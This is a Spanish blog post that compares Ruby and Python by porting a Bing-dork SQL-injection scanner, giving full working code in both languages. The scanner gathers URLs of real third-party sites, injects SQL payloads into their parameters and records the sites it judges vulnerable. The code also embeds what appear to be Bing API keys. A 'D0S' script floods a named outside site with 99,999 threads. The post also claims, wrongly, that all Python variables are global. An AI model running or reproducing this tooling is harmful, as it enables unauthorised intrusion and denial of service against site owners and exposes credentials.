
by hdbreaker
Bueno en esta entrada, quiero tocar este muy sensible tema dando mi punto de vista sobre ambos lenguajes en base a mi experiencia, por lo que me decidà a portar un proyecto que realice en Python a Ruby para poder compararlos.
El proyecto: Scanner de SQL Injection por Bing Dork
El proyecto: Scanner de SQL Injection por Bing Dork
Ambos lenguajes requieren importar librerÃas externas, ambos tienen repositorios gigantes de librerias llamadas Gemas en Ruby y Modulos en Python
Ambos tienen excelentes PackageManagers para cumplir el requisitos de instalación y gestión de librerÃas y dependencias, por su lado Ruby tiene a bundler y Python tiene pip.
Ambos tienen excelentes PackageManagers para cumplir el requisitos de instalación y gestión de librerÃas y dependencias, por su lado Ruby tiene a bundler y Python tiene pip.
Comparemos!
Las dependencias:
Ruby:
require 'searchbing' require 'unirest' require 'nokogiri' require 'colorize'
Python:
La única diferencia entre ambos lenguajes es que python depende del modulo 'json' para lograr parsear la respuesta de Bing. Colorize y Colorama son los encargados de darle color a nuestras salidas de consola
Las Clases:
Ruby:
import urllib2 import html2text import json import random from colorama import Fore, Back, Style,init
La única diferencia entre ambos lenguajes es que python depende del modulo 'json' para lograr parsear la respuesta de Bing. Colorize y Colorama son los encargados de darle color a nuestras salidas de consola
Las Clases:
Ruby:
class Main #Code Here end
class Main(): #Code Here
En esto la verdad, que no encuentro diferencia entre ambos lenguajes. Uno usa el bloque end y el otro Indentación
Inicialización:
Ruby:
def initialize() @regExp = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i'] end
Python:
def __init__(self): self.arrayErrors = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i'];
Ambos lenguajes tienen su propia syntaxis para los constructores de clases
Funciones:
Ruby:
def randomKeys() index = Random.rand(0...4); keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I']; return keys[index]; end
Python:
def randomKeys(self): index = random.randrange(1,5); keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I']; return keys[index];
Uff me asusta lo similar de estas 2 funciones, la verdad que no encuentro mayores diferencias.
Códigos Completos:
Ruby:
require 'searchbing' require 'unirest' require 'nokogiri' require 'colorize' class Main def initialize() @regExp = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i'] end def randomKeys() index = Random.rand(0...4); keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I']; return keys[index]; end def Search() urls = [] print "Bing Dork: " dork = gets().chomp() bingSearch = Bing.new(randomKeys(), 99999, 'Web') results = bingSearch.search(dork) results[0][:Web].each { |res| urls.push(res[:Url]) } isVulnerable(urls) end def export(vulnUrls) vulnUrls.each { |url| File.open("./vulnerable.txt", 'a') { |file| file.write(url+"\n") } } end def isVulnerable(urls) vulnerables = [] vectores=['=\'','="', '=-999', '=169 order by 100-- -c'] urls.each { |url| vectores.each { |vector| injectedUrl=url.gsub("=",vector) request = Unirest.get(injectedUrl) responseTxt = Nokogiri::HTML(request.body).text @regExp.each { |error| begin if (responseTxt =~/#{error}/) puts "Vulnerable => ".red + injectedUrl.red vulnerables.push(injectedUrl) break else puts "Not Vulnerable => ".green + injectedUrl.green break end rescue break end } } } export(vulnerables) puts "\n*******************************************" puts "*****************FINISH********************" puts "*******************************************" end end if(ARGV.length>=1) ARGV.each { |arg| if(arg=="--vulnerable") File.open("./vulnerable.txt", 'r') { |file| puts file.readlines()} end } else main = Main.new() main.Search() end
Python:
# -*- coding: utf-8 -*- import urllib2 import html2text import json import random import sys; import os; from colorama import Fore, Back, Style from colorama import init init() class Main(): def __init__(self): self.arrayErrors = ['sql','mysql','fetch_array()','sql error', 'mysql','you have an error in your sql','division by zero in','supplied argument is not a valid mysql result resource in','call to a member function','microsoft jet database','odbc microsoft access driver','microsoft ole db provider for sql server','unclosed quotation mark','microsoft ole db provider for oracle','incorrect syntax near','microsoft jet database engine error','sql query failed','mdb2 error','server error','sql command','403 forbidden','warning: mysql_query','warning: mysql_fetch_row','warning: mysql_fetch_assoc','warning: mysql_fetch_object','warning: mysql_numrows','warning: mysql_num_rows','warning: mysql_fetch_array','warning: pg_connect','supplied argument is not a valid postgresql result','postgresql query failed: error: parser: parse error','mysql error','mysql odbc','mysql driver','supplied argument is not a valid mysql result resource','on mysql result index','oracle odbc','oracle error','oracle driver','oracle db2','microsoft jet database engine error','adodb\.command','adodb\.field error','microsoft access driver','microsoft vbscript runtime error','microsoft vbscript compilation error','microsoft ole db provider for sql server error','ole\/db provider returned message','ole db provider for odbc','odbc sql','odbc db2','oracle error','oracle driver','oracle db2','ole db provider for odbc','odbc sql','odbc db2','odbc driver','odbc error','odbc microsoft access','odbc oracle','jdbc sql','jdbc oracle','jdbc mysql','jdbc error','jdbc driver','invision power board database error','db2 odbc','db2 error','db2 driver','error in your sql syntax','unexpected end of sql command','invalid query','sql command not properly ended','error converting data type varchar to numeric','an illegal character has been found in the statement','active server pages error','asp\.net_sessionid','asp\.net is configured to show verbose error messages','a syntax error has occurred','ora-01756','error executing database query','unclosed quotation mark','bof or eof','getarray','fetchrow','input string was not in a correct format','warning: include','warning: require_once','function\.include','disallowed parent path','function\.require','warning: main','warning: session_start','warning: getimagesize','warning: mysql_result','warning: pg_exec','warning: array_merge','warning: preg_match','incorrect syntax near','ora-00921: unexpected end of sql command','warning: ociexecute','warning: ocifetchstatement','error ora-/i']; def randomKeys(self): index = random.randrange(1,5); keys = ['lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','+A2dPS2Q+zU6V77Y+MgzyyJfozHevgViEMmJj4db2VE','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I','lO15+W6VX/VYIFa7XCy48GZCdJoaKLkpPsi6YPKw++I']; return keys[index]; def Search(self,query, search_type): #search_type: Web, Image, News, Video key = self.randomKeys() query = urllib2.quote(query) # create credential for authentication user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)' credentials = (':%s' % key).encode('base64')[:-1] auth = 'Basic %s' % credentials url = 'https://api.datamarket.azure.com/Data.ashx/Bing/Search/'+search_type+'?Query=%27'+query+'%27&$top=100&$format=json' request = urllib2.Request(url) request.add_header('Authorization', auth) request.add_header('User-Agent', user_agent) request_opener = urllib2.build_opener() response = request_opener.open(request) response_data = response.read() json_result = json.loads(response_data) urls = [res['Url'] for res in json_result['d']['results']] return urls def export(self, vulnUrls): f = open("vulnerable.txt","a"); f.writelines(vulnUrls + " is vulnerable" + '\n'); f.close(); def isVulnerable(self,arrayUrl): vulnerables = [] vectores=['=\'','=\"', '=-999', '=169 order by 100-- -c']; for url in arrayUrl: Url = ""+url; for vector in vectores: Url2 = Url.replace("=",vector); try: response = ""+urllib2.urlopen(Url2).read(); page = html2text.html2text(response.decode('utf-8',errors='ignore')); contenido = page.lower(); for error in self.arrayErrors: if(contenido.find(error) > -1): print (Fore.RED + Url2 + " is vulnerable"); vulnerables.append(Url2) break else: print (Fore.GREEN + Url2 + " is not vulnerable"); break except: print(Fore.GREEN + "Ups han error ocurred with this page!"); self.export(vulnerables) print "\n*******************************************" print "*****************FINISH********************" print "*******************************************" if (len(sys.argv)>= 2) and (sys.argv[1] == "--vulnerable") and (os.path.exists("vulnerable.txt")): f = open("vulnerable.txt") for lines in f: print (Fore.RED + lines.replace('\n','')); else: print("*Bing Dork Exampĺe: 'Domain:.ar galeria.php?id=1'"); var = raw_input("Ingrese Bing Dork: \n"); main = Main() urls = main.Search(var,'Web') URLS = [] for url in urls: URLS.append(url); main.isVulnerable(URLS);Conclusión:
Realmente no comprendo de donde viene la disputa entre ambos lenguajes, creo que ambos son primos hermanos, comparten diferencias minimas de sintaxis, ambos son interpretados, ambos son sumamente flexibles, ambos tienen una curva de aprendizaje minima, ambos son en exceso poderosos. Ambos lenguajes son recomendados para todo programador experimentado como novato. Además portar código de uno al otro es sumamente fácil.
Creo dar un punto de vista objetivo y técnico, comparando sus bloques estructurales, me saco la camiseta de Python y digo que ambos lenguajes son sumamente interesantes y poderosos. Creo que mucha gente se casa con un lenguaje y se olvida de que un lenguaje de programación es una herramienta.
Cabe resaltar que como todo lenguaje tienen sus caracterÃsticas propias y su propia sintaxis para bloques como foreach. Pero ningún lenguaje es limintante, y no se puede decir que con Python vas a poder hacer cosas que con Ruby no ni viceversa.
La diferencia mas importante que pude notar, es que Ruby trabaja con variables Locales, de Clase y Globales, mientras que en python todas las variables son globales. Siendo un programador JAVA puedo decir que me parece una forma mas correcta y segura de tratar las variales que Python.
Un punto en contra para Ruby es que a la fecha tiene un problema al gestionar multiples hilos junto a peticiones http, dando como resultado un posible segmentation fault: rb_sys_fail(getaddrinfo)
He realizado un pequeñó script que logra demostrar el fallo que afecta a las versiones 1.9.3, 2.2.0 y probablemente a las versiones estables anteriores de Ruby
PoC:
require 'unirest' #require 'net/http' for 1.9.3 class Main def call() Unirest.get("http://www.like4like.org/") #For 1.9.3 #uri = URI('http://example.com/index.html?count=10') #Net::HTTPget(uri) end def D0S() threads = (1..99999).map { |i| Thread.new(i){ call() } } threads.each {|t| t.join} end end init = Main.new() init.D0S()
Salida: #full stack trace http://pastebin.com/0UpHZh53
Si seguimos el stack trace, llegamos a la linea donde se produce el error:
TCPSocket.open(conn_address, conn_port, @local_host, @local_port) #Aqui el error
Al ser la descripcion del error rb_sys_fail(getaddrinfo) podemos deducir que el problema se presenta al intentar obtener cierta informacion del sitio/dominio a solicitar.
Como curiosidad sin confirmar, es posible de que este error pueda utilizarse para explotar el novedoso bug GHOST CVE-2015-0235.
Reporte:
https://bugs.ruby-lang.org/issues/9697
Equivalencias:
Ruby => Python
unirest => urlib2 #requets
nokogiri => html2text
colorize => colorama
array.push() => array.append()
urls.each => for item in array:
puts => print